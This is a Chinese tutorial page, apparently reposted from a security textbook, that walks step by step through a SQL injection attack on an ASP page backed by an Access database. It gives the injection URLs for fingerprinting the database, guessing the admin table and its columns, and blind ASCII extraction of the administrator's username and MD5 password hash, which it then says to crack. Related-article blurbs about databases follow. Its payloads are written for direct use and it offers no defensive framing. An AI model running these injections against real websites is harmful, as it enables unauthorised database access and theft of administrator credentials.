access示例数据库 注入攻击Access数据库示例

access示例数据库 注入攻击Access数据库示例
注入攻击Access数据库示例――简介

ACCESS数据库即Microsoft Office Access。Microsoft Office Access是由微软发布的关联式数据库管理系统。它结合了 Microsoft Jet Database Engine 和图形用户界面两项特点,是 Microsoft Office 的系统程式之一。

注入攻击Access数据库示例――工具/原料

Microsoft Office Access

注入攻击Access数据库示例――方法/步骤

注入攻击Access数据库示例 1、

第1步:加单引号。

如图6.18所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加一个单引号,按Enter键后,服务器返回错误提示。


注入攻击Access数据库示例 2、

第2步:测试“and 1=1”。如图6.19所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=1”,按Enter键后,服务器返回正常页面。


注入攻击Access数据库示例 3、

第3步:测试“and 1=2”。

如图6.20所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=2”,按Enter键后,服务器返回异常页面。


注入攻击Access数据库示例 4、

第4步:判断数据库类型。

Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQLServer是在表“sysobjects”中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from sysobjects)>0

如果数据库是Access,由于找不到表sysobjects,服务器返回如图6.21所示的错误提示。

注入攻击Access数据库示例_access数据库实例


注入攻击Access数据库示例 5、

使用下面的语句:

http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from msysobjects)>0

如果是Access数据库,服务器会返回错误提示“在'msysobjects'上没有读取数据权限。”,如图6.22所示,如果Web程序有容错能力,那么服务器返回的页面也会与原页面不同。

由上可以判断数据库用的是Access。

第5步:猜测表名。猜测表名时也可以使用如下形式:

http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from admin)>=0

http://www.yyy.com/productDetail_c.asp?ID=568and exists(select * from admin)是向数据库查询是否存在admin表,如果存在则返回正常页面,不存在会返回错误提示,如此循环,直至猜测到表名为止。

返回正常页面时,猜测到管理员表是admin。

第6步:猜测字段名(用户名和密码字段)。表名猜出来后,将count(*)替换成count(字段名),用同样的原理猜解字段名。

首先猜测用户名字段:

www.yyy.com/productDetail_c.asp?ID=568 and (selectcount(username) from admin)>=0

www.yyy.com/productDetail_c.asp?ID=568 andexists(select username from admin)返回正常页面,用户名字段猜测成功,用户名字段名是“username”。

然后猜测密码字段:

www.yyy.com/productDetail_c.asp?ID=568 and (selectcount(password) from admin)>=0

www.yyy.com/productDetail_c.asp?ID=568 andexists(select password from admin)返回正常页面,则密码字段猜测成功,密码字段名是“password”。

第7步:猜测用户名。已知表admin中存在username字段,下面使用ASCII逐字解码法猜测用户名。

猜测用户名的长度:

www.yyy.com/productDetail_c.asp?ID=568 and(select top 1 len(username) from admin)>4返回正常页面;www.yyy.com/productDetail_c.asp?ID=568 and (select top 1len(username) from admin)>5返回不正常页面,可知用户名长度是5。

在得到用户名长度后,用asc (mid (username, N, 1))获得第N位字符的ASCII码,比如:

(1)猜测第1个字符。

从ID=568 and(select top 1 asc (mid (username, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid(username, 1, 1)) from admin)>96显示正常,而ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>97显示不正常,得第1个字符是“a”(查ASCII码字符表,字符a的十进制编码是97)。

(2)猜测第2个字符。

从ID=568 and(select top 1 asc (mid (username, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid(username, 2, 1)) from admin)>99显示正常,而ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>100显示不正常,得第2个字符是“d”(查ASCII码字符表,字符d的十进制编码是100)。

(3)猜测第3个字符。

(4)猜测第4个字符。

(5)猜测第5个字符。

最终得到用户名是“admin”。

第8步:猜测用户密码。已知表admin中存在password字段,下面猜测用户admin的密码。

猜测密码的长度:

www.yyy.com/productDetail_c.asp?ID=568 and(select top 1 len(password) from admin)>15返回正常页面,www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password)from admin)>16返回不正常页面,可知用户admin的密码长度是16(md5加密后的)。

在得到用户admin的密码长度后,就可以用asc (mid (password, N, 1))获得第N位字符的ASCII码,比如:

(1)猜测第1个字符。

从ID=568 and(select top 1 asc (mid (password, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password,1, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>57显示不正常,得第1个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。

(2)猜测第2个字符。

从ID=568 and(select top 1 asc (mid (password, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password,2, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>57显示不正常,得第2个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。

(3)猜测第3个字符。

(4)猜测第4个字符。

(5)猜测第5个字符。

(6)猜测第6个字符。

(7)猜测第7个字符。

(8)猜测第8个字符。

(9)猜测第9个字符。

(10)猜测第10个字符。

(11)猜测第11个字符。

(12)猜测第12个字符。

(13)猜测第13个字符。

(14)猜测第14个字符。

(15)猜测第15个字符。

(16)猜测第16个字符。

最终得到md5密码是“993a366f61fd519a”,然后要对密码进行破解。

注意:猜解Access时只能用ASCII逐字解码法,SQL Server也可以用这种方法,但是如果能用MS SQL Server的报错信息把相关信息暴露出来,会极大地提高效率和准确率。

  

爱华网本文地址 » http://www.aihuau.com/a/8104590103/308743.html

更多阅读

万方数据库的免费入口 万方医学数据库入口

万方数据库的免费入口——简介 每年很多学子都为找不到论文资料而发愁,万方数据库是大学毕业生生写论文的重要文献查询的宝库,但不是所有的学校都能给学生提供万方数据库入口的,笔者也有过同样的经历,后来在毕业之后终于找到了万方数据

Discuz如何还原自己的数据库 discuz修改数据库密码

Discuz如何还原自己的数据库——简介Discuz如何还原自己的数据库,接下来就让我给大家讲解一下吧Discuz如何还原自己的数据库——方法/步骤Discuz如何还原自己的数据库 1、进入后台,点击“站长”--“数据库”--“恢复”,如图:

VB如何连接访问数据库Access asp访问access数据库

VB如何连接访问数据库Access——简介VB即Visual Basic ,是一种由Microsoft公司开发的结构化的、模块化的、面向对象的、包含协助开发环境的事件驱动为机制的可视化程序设计语言。网上有很多教程,但都不详细,这里是自己一步一步演示的

国泰安数据库使用方法 同花顺数据库

国泰安数据库使用方法——简介目前,有很多人,在工作或者写文章的时候,需要查询最新最全的金融、经济数据,却不知道具体怎么获取这些数据。本经验以金融经济界人士普遍使用的国泰安数据库csmar系统为例,向大家介绍怎样查找并获取您需要的

怎样创建access数据库 access数据库恢复

access是office办公软件之一,也是计算机二级的考试科目之一,可以用于储存和管理各种信息,比如图书档案,很多图书馆都使用access管理图书。那么我们怎样创建一个数据库呢?怎样创建access数据库——工具/原料access2003怎样创建access数

声明:《access示例数据库 注入攻击Access数据库示例》为网友依然范特西分享!如侵犯到您的合法权益请联系我们删除